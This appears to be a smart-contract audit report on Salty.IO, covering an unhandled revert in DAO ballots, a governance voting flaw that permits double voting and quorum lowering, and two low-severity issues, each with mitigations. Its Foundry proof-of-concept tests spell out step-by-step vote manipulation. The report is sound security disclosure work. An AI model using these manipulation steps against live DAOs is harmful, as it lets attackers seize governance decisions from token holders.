Salty.IO - vnavascues's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L180 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219

Vulnerability details

Description

The DAO._executeApproval function does not handle an external contract call error:

else if (ballot.ballotType == BallotType.CALL_CONTRACT) {
    // @audit-issue unhandled revert
    ICalledContract(ballot.address1).callFromDAO(ballot.number1);

    emit ContractCalled(ballot.address1, ballot.number1);
}

Given an approved CALL_CONTRACT ballot that can be finalized, the ballot won't be marked as finalized if the external contract call (from above) reverts.

function _finalizeApprovalBallot(uint256 ballotID) internal {
    if (proposals.ballotIsApproved(ballotID)) {
        Ballot memory ballot = proposals.ballotForID(ballotID);
        _executeApproval(ballot);
    }

    // @audit-issue the line below won't be executed if `_executeApproval` reverts
    proposals.markBallotAsFinalized(ballotID);
}

Impact

A permanent revert leaves the ballot unfinalized, and the user that posted it with an active proposal (in the _userHasActiveProposal mapping); a state that prevents the user account from creating a new proposal. At this point the user has two options to sort out the situation:

A. Unstake and transfer its SALT into a new account. B. Convince the other users to reach quorum on NO and finalize the ballot without calling the external contract.

Proof Of Concept

New contract to be created in /src/dao/tests:

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../interfaces/ICalledContract.sol";

contract TestCallReceiverFaulty is ICalledContract {
    uint256 public value;

    function callFromDAO(uint256 n) external {
        value = n;
        revert("callFromDAO() unexpectedly reverted");
    }
}

Add the following test in DAO.t.sol:

function testCallContractApproveReverted() public {
    // Arrange
    vm.startPrank(alice);
    staking.stakeSALT(1000000 ether);

    TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty();

    uint256 ballotID = proposals.proposeCallContract(
        address(testReceiver),
        123,
        "description"
    );
    assertEq(
        proposals.ballotForID(ballotID).ballotIsLive,
        true,
        "Ballot not correctly created"
    );

    proposals.castVote(ballotID, Vote.YES);
    vm.warp(block.timestamp + 11 days);

    vm.expectRevert("callFromDAO() unexpectedly reverted");

    // Act
    dao.finalizeBallot(ballotID);

    // Assert
    assertEq(
        proposals.ballotForID(ballotID).ballotIsLive,
        true,
        "Ballot not correctly finalized"
    );
    assertTrue(
        testReceiver.value() != 123,
        "Receiver shouldn't receive the call"
    );
    assertEq(
        proposals.userHasActiveProposal(alice),
        true,
        "Alice proposal is not active"
    );
}

Tools Used

Test and manually reviewed.

Recommended Mitigation Steps

A trivial solution is to handle the reverted external contract call with a try..catch and allow to always mark the approved ballot as finalized. A new ballot can always be created if the desired effects of the call were not applied on the first call.

Amend the CALL_CONTRACT case in the DAO._executeApproval function:

else if (ballot.ballotType == BallotType.CALL_CONTRACT) {
    try ICalledContract(ballot.address1).callFromDAO(ballot.number1) {
        // NB: place the emission outside if it must be emitted no matter the external call outcome
        emit ContractCalled(ballot.address1, ballot.number1);
    } catch (bytes memory) {}
}

Add the following test in DAO.t.sol:

    function testCallContractApproveRevertHandled() public {
        // Arrange
        vm.startPrank(alice);
        staking.stakeSALT(1000000 ether);

        TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty();

        uint256 ballotID = proposals.proposeCallContract(
            address(testReceiver),
            123,
            "description"
        );

        // Act
        _voteForAndFinalizeBallot(ballotID, Vote.YES);

        // Assert
        assertTrue(
            testReceiver.value() != 123,
            "Receiver shouldn't receive the call"
        );
        assertEq(
            proposals.userHasActiveProposal(alice),
            false,
            "Alice proposal is not active"
        );
    }

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L342 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317

Vulnerability details

Description

The DAO Governance voting system implements the following measures to prevent an attack via a sudden increase of the user's voting power (e.g. borrowing voting tokens with a flash-loan):

• Voting power is obtained by staking SALT for xSALT (on a 1:1 basis). Therefore, casting a vote on an open ballot requires first to stake SALT.
• Unstaking SALT is penalized according to these parameters:
  • minUnstakeWeeks: The minimum number of weeks for an unstake request at which point minUnstakePercent of the original staked SALT is reclaimable. Default is 2 days, range is from 1 to 12 days.
  • maxUnstakeWeeks: The maximum number of weeks for an unstake request at which point 100% of the original staked SALT is reclaimable. Default is 52 days, range is from 20 to 108 days.
  • minUnstakePercent: The percentage of the original staked SALT that is reclaimable when unstaking the minimum number of weeks. Default is 20%, range is from 10% to 50%.
  • modificationCooldown: The minimum time between increasing and decreasing user shares. Default is 1 hour, range is from 15 minutes to 6 hours.
• Holding xSALT is incentivised with SALT rewards (proportionally to the percent of the total xSALT hold).

Also, the proposals to be voted (aka Ballot) have these relevant properties:

• ballotIsLive: Whether the ballot accepts votes or has ended.
• ballotMinimumEndTime: The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance or if no EOA has finalized the ballot (after reaching quorum). Default is 10 days, range is from 3 to 14 days.

Finally, a ballot can finalize when (from DAO.canFinalizeBallot):

• The ballot is live (from Ballot.ballotIsLive).
• The ballot minimum duration has passed (from Ballot.ballotMinimumEndTime).
• The total votes casted for the ballot is greater than the required quorum for the ballot type, which is at least the 0.5% of the SALT total supply (500k SALT) or the current total SALT staked in the protocol multiplied by a ballot-type-dependant factor.

// Checks that ballot is live, and minimumEndTime and quorum have both been reached.
function canFinalizeBallot(uint256 ballotID) external view returns (bool) {
    Ballot memory ballot = ballots[ballotID];
    if (!ballot.ballotIsLive) return false;

    // Check that the minimum duration has passed
    if (block.timestamp < ballot.ballotMinimumEndTime) return false;

    // Check that the required quorum has been reached
    if (
        totalVotesCastForBallot(ballotID) <
        requiredQuorumForBallotType(ballot.ballotType)
    ) return false;

    return true;
}

However, the DAO Governance voting system does not implement any kind of voting power checkpoint (aka. snapshot) per account and proposal as per the functions related with voting, votes counting and quorum calculation demonstrate:

• The Proposals.castVote function only checks that the ballot is live and that the user has voting power.
• The Proposals.totalVotesCastForBallot function just sums all the votes in the ballot.
• The Proposals.requiredQuorumForBallotType uses the current total amount of SALT staked to calculate the required quorum (or defaults to 0.5% of SALT total supply). This amount of xSALT is not fixed, as it fluctuates along with the users that stake and unstake (which it does not matter if they do not claim the SALT).

The voting system is flawed and can be exploited.

Impact

One or multiple malicious users can decide a proposal by following these scenarios:

• A. Voting more than once with the same SALT tokens despite the unstaking penalizations. This attack requires to claim the unstaked SALT tokens and staking them again with another account.
• B. Reducing the quorum required for the ballot type by unstaking the SALT tokens after voting (but not claiming them).
• C. A combination of A and B.

Attempting this attack is likely given the fact that:

• minUnstakeWeeks can be as low as 1 week.
• minUnstakePercent can be high as 50%.
• ballotMinimumEndTime can be as high as 14 days (2 weeks).
• modificationCooldown value (from 15 minutes to 6 hours) is irrelevant in both A and B scenarios described above.
• The required quorum for a ballot is not fixed and can fluctuate, as it depends on the total SALT staked.
• Any unstaking SALT losses could be mitigated by the SALT rewards campaign.

Proof Of Concept

For simplicity sake the DAOConfig settings related with the voting system and the SakingConfig settings related with the SALT staking/unstaking are set as default (via Deployment.sol). On a real attack scenario these values would be set in a more advantageous state for the attacker regarding unstaking-SALT.

Scenario A

Add the following test in src/dao/tests/Proposals.t.sol:

function testScenarioA() public {
    // 1. Fund bob and charlie accounts (alice is already funded)
    address eve = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496; // NB: from default address

    vm.startPrank(DEPLOYER);
    salt.transfer(bob, 250_000 ether);
    salt.transfer(charlie, 125_000 ether);
    vm.stopPrank();
    assertEq(
        salt.balanceOf(DEPLOYER),
        89_625_000 ether,
        "SALT: deployer balance is not 89.625 mil"
    );
    assertEq(
        salt.balanceOf(alice),
        10_000_000 ether,
        "SALT: alice balance is not 10 mil"
    );
    assertEq(
        salt.balanceOf(bob),
        250_000 ether,
        "SALT: bob balance is not 250k"
    );
    assertEq(
        salt.balanceOf(charlie),
        125_000 ether,
        "SALT: bob balance is not 125k"
    );
    assertEq(salt.balanceOf(eve), 0 ether, "SALT: eve balance is not 0");

    // NB: check no SALT is staked yet
    uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT);
    assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked

    // 2. Make alice stake 250k
    vm.startPrank(alice);
    staking.stakeSALT(250_000 ether);
    uint256 aliceStakedAmount = staking.userShareForPool(
        alice,
        PoolUtils.STAKED_SALT
    );
    vm.stopPrank();

    // 3. Make bob stake 250k
    vm.startPrank(bob);
    staking.stakeSALT(250_000 ether);
    vm.stopPrank();

    // 4. Make charlie stake 125k (it requires an approval first)
    vm.startPrank(charlie);
    salt.approve(address(staking), 125_000 ether);
    staking.stakeSALT(125_000 ether);
    vm.stopPrank();

    // NB: check total staked amount
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        625_000 ether,
        "Staking: SALT staked is not 625k"
    );

    // 5. Make alice create a proposal that requires 10% quorum (500k SALT) and
    // make her vote INCREASE (250k votes added to INCREASE, total INCREASE is 250k)
    vm.startPrank(alice);
    uint256 ballotID = proposals.proposeParameterBallot(2, "description");
    uint256 totalSharesAtProposalTime = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // 6. Make bob vote DECREASE (250k votes added to DECREASE, total DECREASE is 250k)
    vm.startPrank(bob);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // 7. Make charlie vote DECREASE (125k votes added to DECREASE, total DECREASE is 375k)
    vm.startPrank(charlie);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // NB: check total votes and quorum
    uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesBeforeAttack,
        625_000 ether,
        "Proposals: total votes are not 625k"
    );
    assertEq(
        totalSharesAtProposalTime,
        totalVotesBeforeAttack,
        "Proposals: total votes are not equal to the total shares of the voters"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot is not 500k SALT"
    );

    // 8. Make alice unstake her whole amount (250k) with a full unstake duration for simplicity sake (52 weeks)
    vm.startPrank(alice);
    uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks();
    uint256 unstakeID = staking.unstake(
        aliceStakedAmount,
        maxUnstakeWeeks_
    );

    // NB: move timestamp 52 weeks ahead
    vm.warp(block.timestamp + (maxUnstakeWeeks_ * 1 weeks));

    // 9. Make alice claim her unstaked SALT, and transfer them to eve
    staking.recoverSALT(unstakeID);
    salt.transfer(eve, 250_000 ether);
    vm.stopPrank();

    // 10. Make eve stake and vote INCREASE (250k votes added to INCREASE, total INCREASE is 500k)
    vm.startPrank(eve);
    salt.approve(address(staking), 250_000 ether);
    staking.stakeSALT(250_000 ether);
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // NB: check total staked amount, total votes, votes breakdown and quorum
    uint256 totalSharesAfterAttack = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    assertEq(
        totalSharesAfterAttack,
        625_000 ether,
        "Staking: SALT staked are not 625k"
    );
    uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesAfterAttack,
        875_000 ether,
        "Proposals: total votes are not 875k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.INCREASE),
        500_000 ether,
        "Proposals: INCREASE votes are not 500k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.DECREASE),
        375_000 ether,
        "Proposals: DECREASE votes are not 375k"
    );
    assertTrue(totalSharesAtProposalTime == totalSharesAfterAttack);
    // @audit few potential invariants are broken
    assertTrue(totalVotesAfterAttack > totalVotesBeforeAttack);
    assertTrue(totalVotesAfterAttack > totalSharesAtProposalTime);

    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot are not 500k SALT"
    );

    // 11. Make alice finalize the ballot
    assertTrue(proposals.canFinalizeBallot(ballotID));
    vm.startPrank(alice);
    dao.finalizeBallot(ballotID);
    vm.stopPrank();
}

Scenario B

Add the following test in src/dao/tests/Proposals.t.sol:

function testScenarioB() public {
    // 1. Fund bob and charlie accounts (alice is already funded)
    vm.startPrank(DEPLOYER);
    salt.transfer(bob, 500_000 ether);
    salt.transfer(charlie, 6_750_000 ether);
    vm.stopPrank();
    assertEq(
        salt.balanceOf(DEPLOYER),
        82_750_000 ether,
        "SALT: deployer balance is not 82.750 mil"
    );
    assertEq(
        salt.balanceOf(alice),
        10_000_000 ether,
        "SALT: alice balance is not 10 mil"
    );
    assertEq(
        salt.balanceOf(bob),
        500_000 ether,
        "SALT: bob balance is not 500k"
    );
    assertEq(
        salt.balanceOf(charlie),
        6_750_000 ether,
        "SALT: bob balance is not 6.75 mil"
    );

    // NB: check no SALT is staked yet
    uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT);
    assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked

    // 2. Make alice stake 500k
    vm.startPrank(alice);
    staking.stakeSALT(500_000 ether);
    uint256 aliceStakedAmount = staking.userShareForPool(
        alice,
        PoolUtils.STAKED_SALT
    );
    vm.stopPrank();

    // 3. Make bob stake 250k
    vm.startPrank(bob);
    staking.stakeSALT(250_000 ether);
    vm.stopPrank();

    // 4. Make charlie stake 6.750 mil (it requires an approval first)
    vm.startPrank(charlie);
    salt.approve(address(staking), 6_750_000 ether);
    staking.stakeSALT(6_750_000 ether);
    vm.stopPrank();

    // NB: check total staked amount is 7.5 mil
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        7_500_000 ether,
        "Staking: SALT staked is not 7.5 mil"
    );

    // 5. Make alice create a proposal that requires 1% quorum (750k SALT, instead of default 500k SALT) and
    // make her vote INCREASE (500k votes added to INCREASE, total INCREASE is 500k)
    vm.startPrank(alice);
    uint256 ballotID = proposals.proposeParameterBallot(2, "description");
    uint256 totalSharesAtProposalTime = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // 6. Make bob vote DECREASE (500k votes added to DECREASE, total DECREASE is 500k)
    vm.startPrank(bob);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // NB: check total votes and quorum
    uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    uint256 requiredQuorum = proposals.requiredQuorumForBallotType(
        BallotType.PARAMETER
    );
    assertEq(
        totalVotesBeforeAttack,
        750_000 ether,
        "Proposals: total votes are not 750k"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        750_000 ether,
        "Proposals: required quorum for ballot is not 750k SALT"
    );

    // 7. Make alice unstake almost his whole amount (2 mil instead of 2.5 mil).
    // The number of weeks and whether he claims the full amount is irrelevant as he does not play an active role
    // in this proposal (aka. he does not vote)
    vm.startPrank(charlie);
    uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks();
    staking.unstake(2_000_000 ether, maxUnstakeWeeks_);
    vm.stopPrank();

    // NB: check new total shares and quorum
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        5_500_000 ether,
        "Staking: SALT staked are not 5.5 mil"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        550_000 ether,
        "Proposals: required quorum for ballot is not 550k SALT"
    );
    assertFalse(proposals.canFinalizeBallot(ballotID));

    // 8. Make alice unstake her whole amount (500k) to push down the quorum requirement
    // The number of weeks and whether she claims the full amount is irrelevant
    vm.startPrank(alice);
    staking.unstake(aliceStakedAmount, maxUnstakeWeeks_);
    vm.stopPrank();

    // NB: check total staked amount, total votes, votes breakdown and quorum
    uint256 totalSharesAfterAttack = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    assertEq(
        totalSharesAfterAttack,
        5_000_000 ether,
        "Staking: SALT staked are not 5mil"
    );
    uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesAfterAttack,
        totalVotesBeforeAttack,
        "Proposals: total votes are not 750k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.INCREASE),
        500_000 ether,
        "Proposals: INCREASE votes are not 500k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.DECREASE),
        250_000 ether,
        "Proposals: DECREASE votes are not 250k"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot are not 500k SALT"
    );

    // NB: move forward time 10 days to be able to finalize the ballot
    assertFalse(proposals.canFinalizeBallot(ballotID));
    uint256 ballotMinimumDuration = daoConfig.ballotMinimumDuration();
    vm.warp(block.timestamp + ballotMinimumDuration);

    // 9. Make alice finalize the ballot that required a quorum of 750k for with just 500k
    vm.startPrank(alice);
    assertTrue(proposals.canFinalizeBallot(ballotID));
    vm.startPrank(alice);
    dao.finalizeBallot(ballotID);
    vm.stopPrank();
}

Tools Used

Forge tests and manually reviewed.

Recommended Mitigation Steps

First, take a snapshot of each user voting power per proposal and only allow them to vote with the balance they hold at that time. Then, consider whether unstaking wihtout claiming to decide a proposal should be allowed by the system and amend the code if necessary.

Assessed type

Governance

LOW-001: Malleable signatures are not rejected by SigningTools library

SigningTools._verifySignature

AccessManager._verifyAccess

Description

Signatures with high s-values (i.e. s-value greater than secp256k1n/2) must be considered invalid in order to comply with EIP-2. However, ecrecover allows for malleable (non-unique) signatures due to the ECDSA recover precompiled contract remains unchanged.

The SigningTools._verifySignature function overlooks the s-value range:

// Verify that the messageHash was signed by the authoratative signer.
function _verifySignature(bytes32 messageHash, bytes memory signature ) internal pure returns (bool)
    {
    require( signature.length == 65, "Invalid signature length" );

    bytes32 r;
    bytes32 s;
    uint8 v;

    assembly
        {
        r := mload (add (signature, 0x20))
        s := mload (add (signature, 0x40))
        v := mload (add (signature, 0x41))
        }

    // @audit-issue s-value range is not checked
    address recoveredAddress = ecrecover(messageHash, v, r, s);

    return (recoveredAddress == EXPECTED_SIGNER);
    }

Impact

Currently there is no impact due to SigningTools._verifySignature is only being used by the AccessManager.grantAccess logic (which uses the geoVersion value as a replay protection nonce, and where allowing access a wallet more than once has no security impact). However, devs must be aware of the risks of using the SigningTools library elsewhere.

Proof Of Concept

NA

Tools Used

Manually reviewed.

Recommended Mitigation Steps

Either use the latest OpenZeppelin ECDSA cryptography library (recommended, as it has been audited and not only checks that the signature is not malleable but also checks that the signer address is not the zero address) or make sure to implement the logic that validates the s-value range in the SigningTools._verifySignature function.

LOW-002 - Improve setInitialFeeds and setPriceFeed price feed addresses validations

Description

Both PriceAggregator.setInitialFeeds and PriceAggregator.setPriceFeed functions do not prevent from setting an address more than once across the price feed storage variables (i.e. priceFeed1, priceFeed2 and priceFeed3). Moreover, the PriceAggregator.setPriceFeed function does not prevent from setting the same existing value (which in fact ends up setting priceFeedModificationCooldownExpiration further in the future).

Impact

Setting a duplicated price feed address by mistake has the following consequences:

• It makes the price aggregation logic to return the price of the duplicated oracle.
• It increases the risk of an oracle manipulation attack when an on-chain oracle address (i.e. Uniswap TWAP, Salty pool) is duplicated.
• It halts the protocol if the duplicated oracle stops working (due to the price aggregation logic requiring at least two sources different from zero).

Worth mentioning that it takes at least 30 days (up to 45 days) to amend a single price feed address (due to PriceAggregator.setPriceFeed only allowing to set one address at a time and setting priceFeedModificationCooldownExpiration several days ahead).

For these reasons it is worth adding checks on the price feed addresses to be stored.

Proof Of Concept

NA

Tools Used

Manually reviewed.

Recommended Mitigation Steps

A trivial solution for the PriceAggregator.setInitialFeeds function is to check the addresses against each other:

    function setInitialFeeds(
        IPriceFeed _priceFeed1,
        IPriceFeed _priceFeed2,
        IPriceFeed _priceFeed3
    ) public onlyOwner {
        require(
            address(priceFeed1) == address(0),
            "setInitialFeeds() can only be called once"
        );
        // HERE
        require(
            address(_priceFeed1) != address(_priceFeed2),
            "setInitialFeeds() feed1 == feed2"
        );
        // HERE
        require(
            address(_priceFeed2) != address(_priceFeed3),
            "setInitialFeeds() feed2 == feed3"
        );
        // HERE
        require(
            address(_priceFeed3) != address(_priceFeed1),
            "setInitialFeeds() feed3 == feed1"
        );

        priceFeed1 = _priceFeed1;
        priceFeed2 = _priceFeed2;
        priceFeed3 = _priceFeed3;
    }

A trivial solution for the PriceAddregator.setPriceFeed function is to check that the new address (i.e. newPriceFeed) does not equal the existing one:

    function setPriceFeed(
        uint256 priceFeedNum,
        IPriceFeed newPriceFeed
    ) public onlyOwner {
        // If the required cooldown is not met, simply return without reverting so that the original proposal can be finalized and new setPriceFeed proposals can be made.
        if (block.timestamp < priceFeedModificationCooldownExpiration) return;

        if (priceFeedNum == 1) {
            // HERE
            require(
                priceFeed1 != newPriceFeed,
                "setPriceFeed() priceFeed1 already set"
            );
            priceFeed1 = newPriceFeed;
        } else if (priceFeedNum == 2) {
            // HERE
            require(
                priceFeed2 != newPriceFeed,
                "setPriceFeed() priceFeed2 already set"
            );
            priceFeed2 = newPriceFeed;
        } else if (priceFeedNum == 3) {
            // HERE
            require(
                priceFeed3 != newPriceFeed,
                "setPriceFeed() priceFeed3 already set"
            );
            priceFeed3 = newPriceFeed;
        } else {
            revert("setPriceFeed() unsupported case");
        }

        priceFeedModificationCooldownExpiration =
            block.timestamp +
            priceFeedModificationCooldown;
        emit PriceFeedSet(priceFeedNum, newPriceFeed);
    }

More complex solutions could be adopted, for instance making sure that the value to be stored in a price feed storage variable only belongs to a particular oracle address (e.g. only Chainlink price feeds can be stored in priceFeed2).